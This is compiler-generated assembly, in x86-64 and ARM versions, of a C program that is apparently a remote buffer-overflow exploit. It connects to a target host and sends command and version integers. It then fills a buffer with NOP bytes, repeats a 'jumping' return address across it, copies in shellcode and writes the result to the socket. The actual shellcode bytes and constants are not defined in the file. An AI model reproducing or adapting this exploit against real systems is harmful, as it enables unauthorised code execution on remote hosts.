	.file	"extr_20163.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"usage : %s TargetHost\n"
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC1:
	.string	"Can not resolve specified host."
	.section	.rodata.str1.1
.LC2:
	.string	"Can not connect to %s:%d\n"
.LC3:
	.string	"Jumping Address=%x\n"
.LC4:
	.string	"Connected to %d\n"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r15
	push	r14
	push	r13
	push	r12
	push	rbx
	.cfi_offset 15, -24
	.cfi_offset 14, -32
	.cfi_offset 13, -40
	.cfi_offset 12, -48
	.cfi_offset 3, -56
	mov	rbx, rsi
	sub	rsp, 40
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -56[rbp], rax
	xor	eax, eax
	movsx	rax, DWORD PTR MAXBUF[rip]
	mov	rcx, rsp
	add	rax, 15
	mov	rdx, rax
	and	rax, -4096
	sub	rcx, rax
	and	rdx, -16
	mov	rax, rcx
	cmp	rsp, rax
	je	.L3
.L21:
	sub	rsp, 4096
	or	QWORD PTR 4088[rsp], 0
	cmp	rsp, rax
	jne	.L21
.L3:
	and	edx, 4095
	sub	rsp, rdx
	test	rdx, rdx
	jne	.L22
.L4:
	sub	edi, 1
	mov	r13, rsp
	jg	.L5
	mov	rsi, QWORD PTR [rbx]
	lea	rdi, .LC0[rip]
	xor	eax, eax
	call	printf@PLT
	mov	edi, 1
	call	exit@PLT
.L5:
	mov	esi, DWORD PTR SOCK_STREAM[rip]
	mov	edi, DWORD PTR AF_INET[rip]
	xor	edx, edx
	lea	r14, -68[rbp]
	call	socket@PLT
	mov	edi, DWORD PTR TARGET_PORT[rip]
	mov	r12d, eax
	mov	eax, DWORD PTR AF_INET[rip]
	mov	DWORD PTR -64[rbp], eax
	call	htons@PLT
	mov	rdi, QWORD PTR 8[rbx]
	mov	DWORD PTR -60[rbp], eax
	call	inet_addr@PLT
	mov	DWORD PTR -68[rbp], eax
	cmp	eax, -1
	je	.L23
.L6:
	mov	edx, 12
	mov	rsi, r14
	mov	edi, r12d
	call	connect@PLT
	test	rax, rax
	jne	.L24
.L8:
	mov	esi, DWORD PTR COMMAND[rip]
	mov	edi, r12d
	call	putint@PLT
	mov	esi, DWORD PTR VERSION[rip]
	mov	edi, r12d
	call	putint@PLT
	mov	edx, DWORD PTR MAXBUF[rip]
	mov	esi, DWORD PTR NOP[rip]
	mov	rdi, r13
	call	memset@PLT
	mov	esi, DWORD PTR RET[rip]
	lea	rdi, .LC3[rip]
	xor	eax, eax
	call	printf@PLT
	mov	edx, DWORD PTR RET[rip]
	movsx	rsi, DWORD PTR ADJUST[rip]
	mov	eax, edx
	mov	ecx, edx
	movzx	edi, dh
	shr	eax, 24
	sar	ecx, 16
	mov	r8d, eax
	lea	rax, 100[r13+rsi]
	lea	rsi, 400[r13+rsi]
	.p2align 4,,10
	.p2align 3
.L9:
	mov	BYTE PTR 3[rax], r8b
	add	rax, 4
	mov	BYTE PTR -2[rax], cl
	mov	BYTE PTR -3[rax], dil
	mov	BYTE PTR -4[rax], dl
	cmp	rax, rsi
	jne	.L9
	mov	rax, QWORD PTR STR1_SIZE[rip]
	mov	edi, DWORD PTR shellcode[rip]
	mov	BYTE PTR 0[r13+rax], 0
	mov	eax, DWORD PTR MAXBUF[rip]
	sub	eax, 1
	cdqe
	mov	BYTE PTR 0[r13+rax], 0
	call	strlen@PLT
	mov	esi, DWORD PTR shellcode[rip]
	mov	edx, eax
	movsx	rax, DWORD PTR ADJUST[rip]
	lea	rdi, 600[r13+rax]
	call	memcpy@PLT
	mov	edx, DWORD PTR MAXBUF[rip]
	mov	rsi, r13
	mov	edi, r12d
	call	write@PLT
	mov	esi, DWORD PTR TARGET_PORT[rip]
	lea	rdi, .LC4[rip]
	xor	eax, eax
	call	printf@PLT
	xor	esi, esi
	mov	edi, r12d
	call	term@PLT
	mov	rax, QWORD PTR -56[rbp]
	xor	rax, QWORD PTR fs:40
	jne	.L25
	lea	rsp, -40[rbp]
	xor	eax, eax
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	r15
	pop	rbp
	.cfi_remember_state
	.cfi_def_cfa 7, 8
	ret
.L24:
	.cfi_restore_state
	mov	rsi, QWORD PTR 8[rbx]
	mov	edx, DWORD PTR TARGET_PORT[rip]
	lea	rdi, .LC2[rip]
	xor	eax, eax
	call	printf@PLT
	mov	edi, 1
	call	exit@PLT
	jmp	.L8
.L23:
	mov	rdi, QWORD PTR 8[rbx]
	call	gethostbyname@PLT
	mov	r15, rax
	test	rax, rax
	je	.L26
.L7:
	mov	eax, DWORD PTR 8[r15]
	lea	r14, -68[rbp]
	mov	esi, DWORD PTR 4[r15]
	mov	edx, DWORD PTR [r15]
	mov	rdi, r14
	mov	DWORD PTR -64[rbp], eax
	call	memcpy@PLT
	jmp	.L6
.L22:
	or	QWORD PTR -8[rsp+rdx], 0
	jmp	.L4
.L26:
	lea	rdi, .LC1[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
	jmp	.L7
.L25:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	shellcode,4,4
	.comm	VERSION,4,4
	.comm	TARGET_PORT,4,4
	.comm	STR1_SIZE,8,8
	.comm	SOCK_STREAM,4,4
	.comm	RET,4,4
	.comm	NOP,4,4
	.comm	MAXBUF,4,4
	.comm	COMMAND,4,4
	.comm	AF_INET,4,4
	.comm	ADJUST,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_20163.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"usage : %s TargetHost\012\000"
	.align	2
.LC1:
	.ascii	"Can not resolve specified host.\000"
	.align	2
.LC2:
	.ascii	"Can not connect to %s:%d\012\000"
	.align	2
.LC3:
	.ascii	"Jumping Address=%x\012\000"
	.align	2
.LC4:
	.ascii	"Connected to %d\012\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC5:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, r10, fp, lr}
	add	fp, sp, #32
	sub	sp, sp, #20
	ldr	r6, .L21
	cmp	r0, #1
	ldr	r3, [r6]
	mov	r8, r1
	add	r3, r3, #7
	bic	r3, r3, #7
	sub	sp, sp, r3
	ldr	r3, .L21+4
	mov	r5, sp
	ldr	r3, [r3]
	str	r3, [fp, #-40]
	mov	r3,#0
	ble	.L16
.L2:
	ldr	r3, .L21+8
	ldr	r9, .L21+12
	ldr	r1, [r3]
	mov	r2, #0
	ldr	r0, [r9]
	bl	socket
	ldr	r7, .L21+16
	ldr	r3, [r9]
	mov	r4, r0
	ldr	r0, [r7]
	str	r3, [fp, #-48]
	bl	htons
	mov	r3, r0
	ldr	r0, [r8, #4]
	str	r3, [fp, #-44]
	bl	inet_addr
	cmn	r0, #1
	str	r0, [fp, #-52]
	subne	r9, fp, #52
	beq	.L17
.L3:
	mov	r1, r9
	mov	r2, #12
	mov	r0, r4
	bl	connect
	cmp	r0, #0
	bne	.L18
.L5:
	ldr	r3, .L21+20
	mov	r0, r4
	ldr	r1, [r3]
	bl	putint
	ldr	r3, .L21+24
	mov	r0, r4
	ldr	r1, [r3]
	bl	putint
	ldr	r3, .L21+28
	ldr	r8, .L21+32
	ldr	r1, [r3]
	ldr	r2, [r6]
	mov	r0, r5
	bl	memset
	ldr	r1, [r8]
	ldr	r0, .L21+36
	bl	printf
	ldr	r3, .L21+40
	ldr	r2, [r8]
	ldr	lr, [r3]
	asr	ip, r2, #16
	asr	r0, r2, #8
	add	r1, lr, #300
	lsr	r8, r2, #24
	and	ip, ip, #255
	and	r0, r0, #255
	add	r1, r5, r1
	and	r2, r2, #255
	add	r3, r5, lr
.L6:
	strb	r8, [r3, #103]
	strb	ip, [r3, #102]
	strb	r0, [r3, #101]
	strb	r2, [r3, #100]
	add	r3, r3, #4
	cmp	r3, r1
	bne	.L6
	mov	r9, #0
	ldr	r3, .L21+44
	ldr	r2, .L21+48
	ldr	r10, [r3]
	ldr	r3, [r6]
	ldr	r2, [r2]
	add	r3, r5, r3
	add	lr, lr, #600
	strb	r9, [r5, r2]
	mov	r0, r10
	strb	r9, [r3, #-1]
	add	r8, r5, lr
	bl	strlen
	mov	r1, r10
	mov	r2, r0
	mov	r0, r8
	bl	memcpy
	ldr	r2, [r6]
	mov	r1, r5
	mov	r0, r4
	bl	write
	ldr	r1, [r7]
	ldr	r0, .L21+52
	bl	printf
	mov	r1, r9
	mov	r0, r4
	bl	term
	ldr	r3, .L21+4
	ldr	r2, [r3]
	ldr	r3, [fp, #-40]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L19
	mov	r0, r9
	sub	sp, fp, #32
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, r10, fp, pc}
.L18:
	ldr	r1, [r8, #4]
	ldr	r2, [r7]
	ldr	r0, .L21+56
	bl	printf
	mov	r0, #1
	bl	exit
	b	.L5
.L16:
	ldr	r1, [r1]
	ldr	r0, .L21+60
	bl	printf
	mov	r0, #1
	bl	exit
	b	.L2
.L17:
	ldr	r0, [r8, #4]
	bl	gethostbyname
	subs	r10, r0, #0
	beq	.L20
.L4:
	ldr	r3, [r10, #8]
	sub	r9, fp, #52
	ldr	r2, [r10]
	ldr	r1, [r10, #4]
	mov	r0, r9
	str	r3, [fp, #-48]
	bl	memcpy
	b	.L3
.L20:
	ldr	r0, .L21+64
	bl	puts
	mov	r0, #1
	bl	exit
	b	.L4
.L19:
	bl	__stack_chk_fail
.L22:
	.align	2
.L21:
	.word	MAXBUF
	.word	.LC5
	.word	SOCK_STREAM
	.word	AF_INET
	.word	TARGET_PORT
	.word	COMMAND
	.word	VERSION
	.word	NOP
	.word	RET
	.word	.LC3
	.word	ADJUST
	.word	shellcode
	.word	STR1_SIZE
	.word	.LC4
	.word	.LC2
	.word	.LC0
	.word	.LC1
	.size	main, .-main
	.comm	shellcode,4,4
	.comm	VERSION,4,4
	.comm	TARGET_PORT,4,4
	.comm	STR1_SIZE,4,4
	.comm	SOCK_STREAM,4,4
	.comm	RET,4,4
	.comm	NOP,4,4
	.comm	MAXBUF,4,4
	.comm	COMMAND,4,4
	.comm	AF_INET,4,4
	.comm	ADJUST,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
